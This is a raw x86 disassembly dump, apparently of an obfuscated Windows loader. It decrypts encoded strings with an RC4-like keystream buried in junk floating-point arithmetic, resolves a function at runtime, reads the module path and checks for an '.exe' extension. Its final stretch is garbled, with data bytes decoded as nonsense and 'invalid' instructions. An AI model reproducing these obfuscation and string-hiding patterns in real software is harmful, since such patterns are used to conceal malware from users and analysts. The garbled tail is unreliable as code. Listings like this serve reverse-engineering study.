fld dword [ebp - 0x488]
fsub dword [ebp - 0x484]
fstp dword [ebp - 0x488]
fld dword [ebp - 0x470]
fmul dword [ebp - 0x484]
fstp dword [ebp - 0x470]
fld dword [ebp - 0x478]
fld dword [ebp - 0x470]
fcompp
fnstsw ax
test ah, 5
jp 0x515705
fld dword [ebp - 0x488]
fdiv dword [ebp - 0x490]
fstp dword [ebp - 0x488]
fld dword [ebp - 0x488]
fdiv dword [ebp - 0x490]
fstp dword [ebp - 0x488]
fld dword [ebp - 0x490]
fmul dword [ebp - 0x470]
fstp dword [ebp - 0x490]
fld dword [ebp - 0x488]
fsub dword [ebp - 0x490]
fstp dword [ebp - 0x488]
fld dword [ebp - 0x470]
fadd dword [ebp - 0x478]
fstp dword [ebp - 0x470]
fld dword [ebp - 0x490]
fsub dword [ebp - 0x470]
fstp dword [ebp - 0x490]
jmp 0x51577d
fld dword [ebp - 0x488]
fsub dword [ebp - 0x470]
fstp dword [ebp - 0x488]
fld dword [ebp - 0x47c]
fadd dword [ebp - 0x490]
fstp dword [ebp - 0x47c]
fld dword [ebp - 0x47c]
fadd dword [ebp - 0x490]
fstp dword [ebp - 0x47c]
fld dword [ebp - 0x478]
fadd dword [ebp - 0x47c]
fstp dword [ebp - 0x478]
fld dword [ebp - 0x47c]
fadd dword [ebp - 0x490]
fstp dword [ebp - 0x47c]
fld dword [ebp - 0x478]
fadd dword [ebp - 0x47c]
fstp dword [ebp - 0x478]
mov al, byte [ebp - 0x418]
mov byte [ebp - 0x3e5], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x455], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
fld dword [0x9a2b84]
fstp dword [ebp - 0x48c]
fld dword [0x9a2b80]
fstp dword [ebp - 0x46c]
fld dword [0x9a2b7c]
fstp dword [ebp - 0x474]
fld dword [0x9a2b78]
fstp dword [ebp - 0x480]
fld dword [ebp - 0x474]
fmul dword [ebp - 0x480]
fstp dword [ebp - 0x474]
fld dword [ebp - 0x474]
fsub dword [ebp - 0x480]
fstp dword [ebp - 0x474]
fld dword [ebp - 0x474]
fsub dword [ebp - 0x480]
fstp dword [ebp - 0x474]
fld dword [ebp - 0x48c]
fmul dword [ebp - 0x480]
fstp dword [ebp - 0x48c]
fld dword [ebp - 0x480]
fld dword [ebp - 0x48c]
fcompp
fnstsw ax
test ah, 5
jp 0x515894
fld dword [ebp - 0x474]
fmul dword [ebp - 0x480]
fstp dword [ebp - 0x474]
fld dword [ebp - 0x48c]
fsub dword [ebp - 0x46c]
fstp dword [ebp - 0x48c]
fld dword [ebp - 0x48c]
fmul dword [ebp - 0x46c]
fstp dword [ebp - 0x48c]
fld dword [ebp - 0x46c]
fmul dword [ebp - 0x474]
fstp dword [ebp - 0x46c]
jmp 0x5158f8
fld dword [ebp - 0x48c]
fsub dword [ebp - 0x46c]
fstp dword [ebp - 0x48c]
fld dword [ebp - 0x474]
fmul dword [ebp - 0x480]
fstp dword [ebp - 0x474]
fld dword [ebp - 0x46c]
fsub dword [ebp - 0x474]
fstp dword [ebp - 0x46c]
fld dword [ebp - 0x48c]
fsub dword [ebp - 0x46c]
fstp dword [ebp - 0x48c]
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x455]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x455]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3e5]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3e5]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x42d], al
cmp dword [ebp - 0x420], 0
jle 0x515a1c
mov eax, dword [ebp - 0x420]
mov cl, byte [ebp - 0x42d]
mov byte [ebp + eax - 0x229], cl
jmp 0x5154f5
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x420]
shl eax, 1
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x39c]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x3d8], 0x6c
mov eax, dword [ebp - 0x420]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x438], 0x67
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x438]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x460]
shl eax, 4
mov dword [ebp - 0x45c], eax
fld qword [0x9a2b70]
fstp qword [ebp - 0x454]
fld qword [0x9a2b68]
fstp qword [ebp - 0x3bc]
fld qword [0x9a2b60]
fstp qword [ebp - 0x3e4]
fld qword [0x9a2b58]
fstp qword [ebp - 0x414]
fld qword [0x9a2b50]
fstp qword [ebp - 0x44c]
fld qword [ebp - 0x3bc]
fsub qword [ebp - 0x44c]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x3bc]
fadd qword [ebp - 0x44c]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x3e4]
fadd qword [ebp - 0x44c]
fstp qword [ebp - 0x3e4]
fld qword [ebp - 0x3e4]
fadd qword [ebp - 0x44c]
fstp qword [ebp - 0x3e4]
fld qword [ebp - 0x454]
fmul qword [ebp - 0x44c]
fstp qword [ebp - 0x454]
fld qword [ebp - 0x44c]
fcomp qword [ebp - 0x454]
fnstsw ax
test ah, 5
jp 0x515be8
fld qword [ebp - 0x454]
fadd qword [ebp - 0x3bc]
fstp qword [ebp - 0x454]
fld qword [ebp - 0x414]
fadd qword [ebp - 0x44c]
fstp qword [ebp - 0x414]
fld qword [ebp - 0x3e4]
fsub qword [ebp - 0x414]
fstp qword [ebp - 0x3e4]
fld qword [ebp - 0x454]
fadd qword [ebp - 0x3bc]
fstp qword [ebp - 0x454]
fld qword [ebp - 0x3e4]
fadd qword [ebp - 0x414]
fstp qword [ebp - 0x3e4]
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x434], eax
jmp 0x515c42
fld qword [ebp - 0x3bc]
fdiv qword [ebp - 0x3e4]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x44c]
fsub qword [ebp - 0x454]
fstp qword [ebp - 0x44c]
fld qword [ebp - 0x44c]
fmul qword [ebp - 0x454]
fstp qword [ebp - 0x44c]
fld qword [ebp - 0x44c]
fmul qword [ebp - 0x454]
fstp qword [ebp - 0x44c]
fld qword [ebp - 0x3e4]
fmul qword [ebp - 0x414]
fstp qword [ebp - 0x3e4]
mov eax, dword [ebp - 0x45c]
or eax, dword [ebp - 0x434]
mov dword [ebp - 0x418], eax
mov al, byte [ebp - 0x418]
mov byte [ebp - 0x3e5], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x455], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x455]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x455]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3e5]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3e5]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x42d], al
cmp dword [ebp - 0x420], 0
jle 0x515de0
mov eax, dword [ebp - 0x420]
mov cl, byte [ebp - 0x42d]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x420]
shl eax, 1
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x39c]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x3d8], 0x6c
mov eax, dword [ebp - 0x420]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x438], 0x67
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x438]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x460]
shl eax, 4
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x45c]
or eax, dword [ebp - 0x434]
mov dword [ebp - 0x418], eax
mov al, byte [ebp - 0x418]
mov byte [ebp - 0x3e5], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x455], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x455]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x455]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3e5]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3e5]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x42d], al
cmp dword [ebp - 0x420], 0
jle 0x516033
mov eax, dword [ebp - 0x420]
mov cl, byte [ebp - 0x42d]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x420]
shl eax, 1
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x39c]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x3d8], 0x6c
mov eax, dword [ebp - 0x420]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x438], 0x67
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x438]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x460]
shl eax, 4
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x45c]
or eax, dword [ebp - 0x434]
mov dword [ebp - 0x418], eax
mov al, byte [ebp - 0x418]
mov byte [ebp - 0x3e5], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x455], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
fld dword [0x9a2b4c]
fstp dword [ebp - 0x3b4]
fld dword [0x9a2b48]
fstp dword [ebp - 0x3dc]
fld dword [0x9a2b44]
fstp dword [ebp - 0x408]
fld dword [0x9a2b40]
fstp dword [ebp - 0x440]
fld dword [ebp - 0x3dc]
fsub dword [ebp - 0x440]
fstp dword [ebp - 0x3dc]
fld dword [ebp - 0x3b4]
fadd dword [ebp - 0x440]
fstp dword [ebp - 0x3b4]
fld dword [ebp - 0x408]
fmul dword [ebp - 0x440]
fstp dword [ebp - 0x408]
fld dword [ebp - 0x3b4]
fsub dword [ebp - 0x440]
fstp dword [ebp - 0x3b4]
fld dword [ebp - 0x440]
fld dword [ebp - 0x408]
fcompp
fnstsw ax
test ah, 0x41
jne 0x516239
fld dword [ebp - 0x440]
fsub dword [ebp - 0x3dc]
fstp dword [ebp - 0x440]
fld dword [ebp - 0x3dc]
fadd dword [ebp - 0x440]
fstp dword [ebp - 0x3dc]
fld dword [ebp - 0x440]
fadd dword [ebp - 0x3dc]
fstp dword [ebp - 0x440]
fld dword [ebp - 0x440]
fsub dword [ebp - 0x3dc]
fstp dword [ebp - 0x440]
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
jmp 0x516281
fld dword [ebp - 0x3b4]
fadd dword [ebp - 0x408]
fstp dword [ebp - 0x3b4]
fld dword [ebp - 0x3dc]
fadd dword [ebp - 0x440]
fstp dword [ebp - 0x3dc]
fld dword [ebp - 0x3b4]
fmul dword [ebp - 0x408]
fstp dword [ebp - 0x3b4]
fld dword [ebp - 0x440]
fadd dword [ebp - 0x3dc]
fstp dword [ebp - 0x440]
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x455]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x455]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3e5]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3e5]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x42d], al
cmp dword [ebp - 0x420], 0
jle 0x5163a5
mov eax, dword [ebp - 0x420]
mov cl, byte [ebp - 0x42d]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x41c]
add eax, 7
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x494], eax
jmp 0x5163d0
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x41c]
jge 0x5167d4
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x420]
shl eax, 1
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x39c]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x3d8], 0x6c
mov eax, dword [ebp - 0x420]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x438], 0x67
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x438]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x460]
shl eax, 4
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x45c]
or eax, dword [ebp - 0x434]
mov dword [ebp - 0x418], eax
mov al, byte [ebp - 0x418]
mov byte [ebp - 0x3e5], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x455], al
fld dword [0x9a2b3c]
fstp dword [ebp - 0x4a0]
fld dword [0x9a2b38]
fstp dword [ebp - 0x49c]
fld dword [0x9a2b34]
fstp dword [ebp - 0x4ac]
fld dword [0x9a2b30]
fstp dword [ebp - 0x4a8]
fld dword [0x9a2b2c]
fstp dword [ebp - 0x4a4]
fld dword [0x9a2b28]
fstp dword [ebp - 0x498]
fld dword [ebp - 0x4ac]
fmul dword [ebp - 0x498]
fstp dword [ebp - 0x4ac]
fld dword [ebp - 0x4a8]
fsub dword [ebp - 0x498]
fstp dword [ebp - 0x4a8]
fld dword [ebp - 0x4a0]
fadd dword [ebp - 0x498]
fstp dword [ebp - 0x4a0]
fld dword [ebp - 0x49c]
fmul dword [ebp - 0x498]
fstp dword [ebp - 0x49c]
fld dword [ebp - 0x49c]
fadd dword [ebp - 0x498]
fstp dword [ebp - 0x49c]
fld dword [ebp - 0x4a4]
fadd dword [ebp - 0x498]
fstp dword [ebp - 0x4a4]
fld dword [ebp - 0x49c]
fld dword [ebp - 0x498]
fcompp
fnstsw ax
test ah, 5
jp 0x516623
fld dword [ebp - 0x4a0]
fadd dword [ebp - 0x49c]
fstp dword [ebp - 0x4a0]
fld dword [ebp - 0x498]
fadd dword [ebp - 0x4a0]
fstp dword [ebp - 0x498]
fld dword [ebp - 0x4a4]
fsub dword [ebp - 0x498]
fstp dword [ebp - 0x4a4]
fld dword [ebp - 0x4ac]
fadd dword [ebp - 0x4a8]
fstp dword [ebp - 0x4ac]
fld dword [ebp - 0x498]
fmul dword [ebp - 0x4a0]
fstp dword [ebp - 0x498]
fld dword [ebp - 0x4a0]
fmul dword [ebp - 0x49c]
fstp dword [ebp - 0x4a0]
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
jmp 0x51668f
fld dword [ebp - 0x4ac]
fmul dword [ebp - 0x4a8]
fstp dword [ebp - 0x4ac]
fld dword [ebp - 0x498]
fdiv dword [ebp - 0x4a0]
fstp dword [ebp - 0x498]
fld dword [ebp - 0x4a0]
fadd dword [ebp - 0x49c]
fstp dword [ebp - 0x4a0]
fld dword [ebp - 0x4a8]
fsub dword [ebp - 0x4a4]
fstp dword [ebp - 0x4a8]
fld dword [ebp - 0x498]
fadd dword [ebp - 0x4a0]
fstp dword [ebp - 0x498]
fld dword [ebp - 0x4a0]
fmul dword [ebp - 0x49c]
fstp dword [ebp - 0x4a0]
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x455]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x455]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3e5]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3e5]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x42d], al
cmp dword [ebp - 0x420], 0
jle 0x5167cf
mov eax, dword [ebp - 0x420]
mov cl, byte [ebp - 0x42d]
mov byte [ebp + eax - 0x229], cl
jmp 0x5163c3
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov byte [ebp - 0x216], 0
jmp 0x516819
and dword [ebp - 0x4b0], 0
jmp 0x516800
mov eax, dword [ebp - 0x4b0]
inc eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0x13
jge 0x516819
mov eax, dword [ebp - 0x4b0]
mov byte [ebp + eax - 0x228], 0
jmp 0x5167f3
lea eax, [ebp - 0x228]
push eax
mov ecx, dword [0x9daa1c]
call fcn.0044f2ad
mov dword [ebp - 0x234], eax
push 0x104
lea eax, [ebp - 0x214]
push eax
push 0
call dword [ebp - 0x234]
test eax, eax
je 0x51e63e
xor eax, eax
mov word [ebp - 0x724], ax
push 0x206
push 0
lea eax, [ebp - 0x722]
push eax
call fcn.00937030
add esp, 0xc
lea eax, [ebp - 0x214]
mov dword [ebp - 0x10a4], eax
lea eax, [ebp - 0x724]
mov dword [ebp - 0x10a8], eax
mov eax, dword [ebp - 0x10a8]
mov dword [ebp - 0x10ac], eax
mov eax, dword [ebp - 0x10a4]
mov ax, word [eax]
mov word [ebp - 0x10ae], ax
mov eax, dword [ebp - 0x10a8]
mov cx, word [ebp - 0x10ae]
mov word [eax], cx
mov eax, dword [ebp - 0x10a4]
inc eax
inc eax
mov dword [ebp - 0x10a4], eax
mov eax, dword [ebp - 0x10a8]
inc eax
inc eax
mov dword [ebp - 0x10a8], eax
cmp word [ebp - 0x10ae], 0
jne 0x516890
push 0x2e
lea eax, [ebp - 0x724]
push eax
call fcn.005022b9
pop ecx
pop ecx
mov dword [ebp - 0x4c4], eax
mov eax, dword [ebp - 0x4c4]
movzx eax, word [eax + 4]
cmp eax, 0x78
jne 0x51690e
mov eax, dword [ebp - 0x4c4]
movzx eax, word [eax + 6]
cmp eax, 0x65
je 0x518977
and dword [ebp - 0x754], 0
and dword [ebp - 0x758], 0
fldz
fstp qword [ebp - 0x774]
fldz
fstp qword [ebp - 0x76c]
fldz
fstp qword [ebp - 0x76c]
jmp 0x516948
fld qword [ebp - 0x76c]
fadd qword [0x9a1c00]
fstp qword [ebp - 0x76c]
fld qword [0x9a6f30]
fcomp qword [ebp - 0x76c]
fnstsw ax
test ah, 0x41
jne 0x5169d1
fld qword [0x9a6f28]
fmul qword [ebp - 0x76c]
fmul qword [ebp - 0x76c]
fld qword [ebp - 0x76c]
fmul qword [ebp - 0x76c]
fsubp st(1)
fld qword [0x9a6f20]
fmul qword [ebp - 0x76c]
fmul qword [ebp - 0x76c]
fadd qword [0x9a6f18]
fdivp st(1)
fadd qword [ebp - 0x774]
fstp qword [ebp - 0x774]
fld qword [0x9a6f10]
fcomp qword [ebp - 0x774]
fnstsw ax
test ah, 5
jp 0x5169cc
fld qword [0x9a6f08]
fmul qword [ebp - 0x76c]
fsubr qword [ebp - 0x774]
fstp qword [ebp - 0x774]
jmp 0x516936
fldz
fcomp qword [ebp - 0x774]
fnstsw ax
test ah, 0x41
jne 0x516a05
sub bh, byte ds:[edx + 0x50]
dec eax
pop ecx
push ecx
and ebp, dword [ecx + ebp]
xor ebx, dword [ebx + 0x3d]
jno 0x516a54
js 0x516a6c
daa
xor al, 0x42
dec ebp
insd dword es:[edi], dx
ja 0x516a67
jb 0x516a6b
jo 0x516a61
insd dword es:[edi], dx
jmp 0x51889f
mov dword [ebp - 0x754], 0x5169f6
mov dword [ebp - 0x758], 0x5169e0
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x780], eax
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x77c], eax
mov byte [ebp - 0x89d], 0x1a
and dword [ebp - 0x894], 0
jmp 0x516a4e
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 0x100
add byte [ecx], al
add byte [eax], al
jae 0x516a6f
mov eax, dword [ebp - 0x894]
mov cl, byte [ebp - 0x894]
mov byte [ebp + eax - 0x88c], cl
lea ebp, [edi + esi*8 - 1]
dec dword [eax - 0x88bfa74]
mov word [0xfffff774], es
invalid
invalid
jmp 0x516a41
and dword [ebp - 0x784], 0
mov byte [ebp - 0x89e], 0
mov dword [ebp - 0x894], 0xff
jmp 0x516a96
mov eax, dword [ebp - 0x894]
dec eax
